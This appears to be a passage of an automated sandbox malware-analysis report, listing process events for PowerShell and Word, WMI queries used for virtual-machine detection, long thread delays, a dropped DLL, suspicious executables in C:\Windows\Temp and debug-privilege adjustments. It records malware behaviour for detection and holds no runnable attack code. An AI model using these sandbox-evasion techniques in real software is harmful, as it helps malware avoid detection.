Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE			Jump to behavior

Malware Analysis System Evasion

Queries memory information (via WMI often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_PhysicalMemory

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_DiskDrive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\System32\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_PhysicalMemory

Source: C:\Windows\Temp\svczHost.exe	Memory allocated: 26463A80000 memory reserve \| memory write watch
Source: C:\Windows\Temp\myRdpService.exe	Memory allocated: 20B8B930000 memory reserve \| memory write watch

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 900000			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9929	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9890	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9921	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9923
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9911
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9736
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9925
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9879
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9904

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\st5qs1wr\st5qs1wr.dll

Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5780	Thread sleep count: 9929 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1252	Thread sleep count: 9921 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7964	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7964	Thread sleep time: -900000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4456	Thread sleep count: 9911 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2272	Thread sleep count: 9736 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1412	Thread sleep count: 160 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5480	Thread sleep count: 9925 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6892	Thread sleep count: 9879 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1844	Thread sleep count: 9904 > 30

Source: C:\Windows\System32\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\net1.exe	Last function: Thread delayed
Source: C:\Windows\Temp\myRdpService.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 900000			Jump to behavior

Source: powershell.exe, 0000000C.00000002.4347645237.000001C023AD9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 0000000C.00000002.4898775134.000001C03B109000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWec%SystemRoot%\system32\mswsock.dllht Filter-0000
Source: powershell.exe, 00000007.00000002.4035721658.0000027921D86000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: <!-- IFRpbWUtU3RhbXAgUENBIDIwMTAwDQYJKoZIhvcNAQEFBQACBQDk2nlVMCIYDzIw -->
Source: powershell.exe, 0000000C.00000002.4347645237.000001C023AD9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: powershell.exe, 0000000C.00000002.4814981767.000001C03383E000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5367418387.0000026468346000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5375048755.00007FF64743B000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: qEMutating a value collection derived from a dictionary is not allowed.Y
Source: svchost.exe, 00000012.00000002.5367865972.000001B556A13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000012.00000002.5364276192.000001B555A5D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@r
Source: powershell.exe, 0000000C.00000002.4347645237.000001C023AD9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: powershell.exe, 00000003.00000002.4210297506.000001BADAF20000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5363571234.0000026463B10000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: powershell.exe, 00000007.00000002.4043091425.000002792A319000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllUU

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort
Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort
Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort
Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort
Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\Temp\svczHost.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
